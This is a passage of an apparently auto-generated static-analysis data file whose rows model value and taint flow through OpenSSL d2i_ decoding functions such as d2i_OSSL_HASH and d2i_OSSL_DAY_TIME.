**,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_SINGLEPUBINFO", "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME", "(OSSL_DAY_TIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_DAY_TIME_BAND", "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_HASH", "(OSSL_HASH **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", 